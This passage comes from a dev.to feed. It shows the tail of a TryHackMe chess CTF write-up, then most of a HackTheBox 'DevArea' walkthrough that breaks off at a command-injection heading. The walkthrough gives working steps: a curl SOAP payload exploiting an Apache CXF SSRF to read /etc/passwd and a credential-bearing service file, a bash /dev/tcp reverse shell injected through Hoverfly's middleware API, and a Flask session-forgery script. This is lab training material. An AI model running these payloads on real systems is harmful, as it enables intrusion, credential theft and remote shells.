&lt;p&gt;The server validated the move independently (using the same &lt;code&gt;chess.js&lt;/code&gt; library server-side), recognized checkmate, and returned the flag directly in the JSON response - no browser, no popup, no client-side gate involved at all.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key vulnerabilities
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Client-side-only enforcement of a security/game-logic boundary.&lt;/strong&gt; The one thing the app was supposed to prevent - actually playing the winning move - was checked exclusively in front-end JavaScript (&lt;code&gt;preMoveCheck&lt;/code&gt;). The backend &lt;code&gt;/api/move&lt;/code&gt; endpoint accepted and executed the exact same move without re-checking whether it was "allowed" to be played, so the restriction was trivial to bypass by talking to the API directly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Minor path traversal in static file serving.&lt;/strong&gt; A request for &lt;code&gt;/../vendor/chess.js&lt;/code&gt; escaped the intended public directory and returned source code that wasn't meant to be directly reachable. This didn't extend to full filesystem reads in testing, but it's still an information-disclosure weakness in how static assets are routed.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Attack chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Nmap identifies an Express/Node web app on port 80 alongside SSH.&lt;/li&gt;
&lt;li&gt;The web page presents a mate-in-one chess puzzle with a gimmick blocking the winning move via a fake pop-up.&lt;/li&gt;
&lt;li&gt;Reading &lt;code&gt;/js/app.js&lt;/code&gt; reveals the block is done with a client-side probe (&lt;code&gt;preMoveCheck&lt;/code&gt;) and that real moves are sent to &lt;code&gt;/api/move&lt;/code&gt; over a simple JSON POST.&lt;/li&gt;
&lt;li&gt;A relative path request (&lt;code&gt;/../vendor/chess.js&lt;/code&gt;) confirms the chess engine in use and that the static file handler doesn't fully confine paths to its root.&lt;/li&gt;
&lt;li&gt;Grabbing a session cookie and POSTing the winning move (&lt;code&gt;a1&lt;/code&gt; to &lt;code&gt;a8&lt;/code&gt;) directly to &lt;code&gt;/api/move&lt;/code&gt; bypasses the client-side gate entirely; the server validates it as checkmate and returns the flag.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Enforce all game/business logic rules server-side. Client-side checks should only be used for UX (instant feedback), never as the actual security or logic boundary - the server must independently re-validate every move (or any privileged action) regardless of what the UI attempted to prevent.&lt;/li&gt;
&lt;li&gt;Treat any client-supplied move/action as untrusted input; the server-side &lt;code&gt;chess.js&lt;/code&gt; instance should be the sole source of truth for whether a move is legal, and any application-specific restriction (like "don't allow the win") needs to live in that same trusted layer.&lt;/li&gt;
&lt;li&gt;Lock down static file serving so relative paths (&lt;code&gt;../&lt;/code&gt;) can't escape the configured public directory; use a static file middleware configuration that resolves and validates paths against an allow-listed root rather than relying on default traversal protections.&lt;/li&gt;
&lt;li&gt;Avoid shipping unnecessary source/library files in a location reachable by directory traversal in the first place - keep vendor/build directories outside of anything the web server can serve.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>HackTheBox: DevArea — Full Walkthrough</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sun, 19 Jul 2026 15:52:55 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-devarea-full-walkthrough-2cmc</link>
      <guid>https://dev.to/exploitnotes/hackthebox-devarea-full-walkthrough-2cmc</guid>
      <description>&lt;p&gt;A complete walkthrough of HackTheBox DevArea — chaining an Apache CXF SSRF vulnerability, Hoverfly middleware injection, Flask session forgery, command injection, and a double symlink privilege escalation to achieve full root compromise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Hard | &lt;strong&gt;OS:&lt;/strong&gt; Linux | &lt;strong&gt;Platform:&lt;/strong&gt; Hack The Box&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Path:&lt;/strong&gt; Anonymous FTP → JAR Analysis → CVE-2022-46364 (Apache CXF SSRF) → Hoverfly Credentials → CVE-2025-54123 (Hoverfly RCE) → Shell as dev_ryan → Secret Key Leak → Session Forgery → Command Injection → Double Symlink → Root&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key Findings:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port 21: vsftpd (Anonymous login enabled)&lt;/li&gt;
&lt;li&gt;Port 22: SSH&lt;/li&gt;
&lt;li&gt;Port 80: Apache HTTP&lt;/li&gt;
&lt;li&gt;Port 8080: Java/Jetty (SOAP service — Apache CXF)&lt;/li&gt;
&lt;li&gt;Port 8500/8888: Hoverfly proxy
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;MACHINE-IP&amp;gt; devarea.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. Anonymous FTP — Downloading the JAR
&lt;/h2&gt;

&lt;p&gt;Port 21 has anonymous FTP login enabled:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp devarea.htb
&lt;span class="c"&gt;# Username: anonymous&lt;/span&gt;
&lt;span class="c"&gt;# Password: (blank)&lt;/span&gt;

ftp&amp;gt; &lt;span class="nb"&gt;cd &lt;/span&gt;pub
ftp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="c"&gt;# employee-service.jar&lt;/span&gt;
ftp&amp;gt; get employee-service.jar
ftp&amp;gt; bye
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. JAR Analysis — Discovering the SOAP Endpoint
&lt;/h2&gt;

&lt;p&gt;Decompile the JAR using jadx-gui:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;jadx-gui employee-service.jar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigate to &lt;code&gt;htb.devarea → ServerStarter&lt;/code&gt;. The decompiled code reveals:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;JaxWsServerFactoryBean&lt;/span&gt; &lt;span class="n"&gt;factory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;JaxWsServerFactoryBean&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;factory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setServiceClass&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;EmployeeService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;factory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setServiceBean&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;EmployeeServiceImpl&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;factory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAddress&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://0.0.0.0:8080/employeeservice"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;factory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;create&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Employee Service running at http://localhost:8080/employeeservice"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"WSDL available at http://localhost:8080/employeeservice?wsdl"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This reveals:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The service runs on port 8080&lt;/li&gt;
&lt;li&gt;It uses &lt;strong&gt;Apache CXF&lt;/strong&gt; (&lt;code&gt;org.apache.cxf.jaxws&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WSDL available at &lt;code&gt;/employeeservice?wsdl&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fetch the WSDL to enumerate endpoints:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://devarea.htb:8080/employeeservice?wsdl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The service exposes one operation — &lt;code&gt;submitReport&lt;/code&gt; — accepting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;employeeName&lt;/code&gt; (string)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;department&lt;/code&gt; (string)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;content&lt;/code&gt; (string)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;confidential&lt;/code&gt; (boolean)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  4. CVE-2022-46364 — Apache CXF MTOM SSRF
&lt;/h2&gt;

&lt;p&gt;From the JAR import &lt;code&gt;org.apache.cxf.jaxws.JaxWsServerFactoryBean&lt;/code&gt; we confirmed the service runs on &lt;strong&gt;Apache CXF&lt;/strong&gt; — vulnerable to CVE-2022-46364.&lt;/p&gt;

&lt;p&gt;The import at the top of &lt;code&gt;ServerStarter.java&lt;/code&gt; was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;org.apache.cxf.jaxws.JaxWsServerFactoryBean&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That &lt;code&gt;org.apache.cxf&lt;/code&gt; package name directly tells us it's Apache CXF.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8s2orrocqrm2ynu9b5cx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8s2orrocqrm2ynu9b5cx.png" alt="jadx-gui showing Apache CXF import in ServerStarter" width="800" height="342"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is MTOM?
&lt;/h3&gt;

&lt;p&gt;MTOM (Message Transmission Optimization Mechanism) is a W3C standard for embedding binary data in SOAP messages. It uses &lt;code&gt;XOP:Include&lt;/code&gt; elements with an &lt;code&gt;href&lt;/code&gt; attribute pointing to the data source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Normal use --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;employeeName&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;xop:Include&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"cid:attachment@example.com"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/employeeName&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Vulnerability
&lt;/h3&gt;

&lt;p&gt;Apache CXF &amp;lt; 3.5.5 / &amp;lt; 3.4.10 performs &lt;strong&gt;no validation&lt;/strong&gt; on the &lt;code&gt;href&lt;/code&gt; attribute. An attacker can point it to arbitrary local files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Malicious --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;employeeName&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;xop:Include&lt;/span&gt; &lt;span class="na"&gt;xmlns:xop=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2004/08/xop/include"&lt;/span&gt;
               &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"file:///etc/passwd"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/employeeName&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server fetches the file and returns its contents &lt;strong&gt;Base64-encoded&lt;/strong&gt; in the SOAP response. No authentication required.&lt;/p&gt;

&lt;h3&gt;
  
  
  Manual Exploit
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://devarea.htb:8080/employeeservice &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: multipart/related; boundary="b"'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;$'--b&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s1"&gt;Content-Type: application/xop+xml&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s1"&gt; \
&amp;lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&amp;gt;
  &amp;lt;s:Body&amp;gt;
    &amp;lt;d:submitReport xmlns:d="http://devarea.htb/"&amp;gt;
      &amp;lt;arg0&amp;gt;
        &amp;lt;employeeName&amp;gt;&amp;lt;x:Include xmlns:x="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/&amp;gt;&amp;lt;/employeeName&amp;gt;
      &amp;lt;/arg0&amp;gt;
    &amp;lt;/d:submitReport&amp;gt;
  &amp;lt;/s:Body&amp;gt;
&amp;lt;/s:Envelope&amp;gt; \r\n--b--\r\n'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Reading the Hoverfly Service File
&lt;/h3&gt;

&lt;p&gt;Since nmap revealed Hoverfly on port 8888, we try reading its systemd service file — service files are world-readable and often contain credentials. Common service file names to try:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight systemd"&gt;&lt;code&gt;&lt;span class="err"&gt;/etc/systemd/system/hoverfly.service&lt;/span&gt;
&lt;span class="err"&gt;/etc/systemd/system/syswatch.service&lt;/span&gt;
&lt;span class="err"&gt;/etc/systemd/system/gunicorn.service&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Extracting Hoverfly Credentials
&lt;/h3&gt;

&lt;p&gt;Sending the SSRF request targeting &lt;code&gt;hoverfly.service&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://devarea.htb:8080/employeeservice &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: multipart/related; boundary="b"'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;$'--b&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s1"&gt;Content-Type: application/xop+xml&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s1"&gt; \
&amp;lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&amp;gt;
  &amp;lt;s:Body&amp;gt;
    &amp;lt;d:submitReport xmlns:d="http://devarea.htb/"&amp;gt;
      &amp;lt;arg0&amp;gt;
        &amp;lt;employeeName&amp;gt;&amp;lt;x:Include xmlns:x="http://www.w3.org/2004/08/xop/include" href="file:////etc/systemd/system/hoverfly.service"/&amp;gt;&amp;lt;/employeeName&amp;gt;
      &amp;lt;/arg0&amp;gt;
    &amp;lt;/d:submitReport&amp;gt;
  &amp;lt;/s:Body&amp;gt;
&amp;lt;/s:Envelope&amp;gt; \r\n--b--\r\n'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;hoverfly.service&lt;/code&gt; turned out to be a valid endpoint. The SOAP response returned the service file contents Base64-encoded. Decoding it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;BASE64_HERE&amp;gt;"&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The service file had credentials embedded directly in the configuration — plaintext login details for the Hoverfly dashboard.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. CVE-2025-54123 — Hoverfly Middleware RCE
&lt;/h2&gt;

&lt;p&gt;Navigate to &lt;code&gt;http://devarea.htb&lt;/code&gt; with the extracted credentials. The dashboard reveals &lt;strong&gt;Hoverfly v1.11.3&lt;/strong&gt; — vulnerable to CVE-2025-54123, an authenticated RCE via the middleware API.&lt;/p&gt;

&lt;h3&gt;
  
  
  Getting the Authorization Token
&lt;/h3&gt;

&lt;p&gt;Open browser DevTools → Network tab → log in and look for API requests containing an &lt;code&gt;Authorization: Bearer &amp;lt;token&amp;gt;&lt;/code&gt; header. Copy the token.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploiting the Middleware API
&lt;/h3&gt;

&lt;p&gt;Hoverfly allows configuring a middleware script that processes proxied requests. The middleware API accepts an arbitrary binary and script with no sanitization.&lt;/p&gt;

&lt;p&gt;Start a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inject a reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; PUT http://devarea.htb:8888/api/v2/hoverfly/middleware &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;TOKEN&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"binary":"bash","script":"bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;YOUR-IP&amp;gt;/4444 0&amp;gt;&amp;amp;1"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trigger the middleware by sending a request through the Hoverfly proxy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://devarea.htb:8500"&lt;/span&gt; &lt;span class="nt"&gt;--proxy&lt;/span&gt; &lt;span class="s2"&gt;"http://devarea.htb:8888"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell received as &lt;code&gt;dev_ryan&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/dev_ryan/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;User flag captured!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 Enumerating the Environment
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/syswatch.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;SYSWATCH_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725&lt;/span&gt;
&lt;span class="py"&gt;SYSWATCH_LOG_DIR&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/opt/syswatch/logs&lt;/span&gt;
&lt;span class="py"&gt;SYSWATCH_DB_PATH&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/opt/syswatch/syswatch_gui/syswatch.db&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A Flask web GUI runs on &lt;code&gt;127.0.0.1:7777&lt;/code&gt;. Check sudo permissions while enumerating:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Matching Defaults entries for dev_ryan on devarea:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop,
        !/opt/syswatch/syswatch.sh web-restart
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;dev_ryan&lt;/code&gt; can run &lt;code&gt;syswatch.sh&lt;/code&gt; as root without a password — with the exception of the &lt;code&gt;web-stop&lt;/code&gt; and &lt;code&gt;web-restart&lt;/code&gt; subcommands. The &lt;code&gt;logs&lt;/code&gt; subcommand is unrestricted.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.2 Flask Session Forgery
&lt;/h3&gt;

&lt;p&gt;Flask session cookies are &lt;strong&gt;signed but not encrypted&lt;/strong&gt;. With the leaked &lt;code&gt;SYSWATCH_SECRET_KEY&lt;/code&gt; we can forge any session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# forge.py
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask.sessions&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SecureCookieSessionInterface&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;secret_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;session_serializer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SecureCookieSessionInterface&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;get_signing_serializer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;session_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;forged_cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session_serializer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forged_cookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 forge.py
&lt;span class="c"&gt;# eyJ1c2VyX2lkIjox...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify admin access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"session=&amp;lt;FORGED_COOKIE&amp;gt;"&lt;/span&gt; http://127.0.0.1:7777/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 Command Injection in /service-status
&lt;/h3&gt;

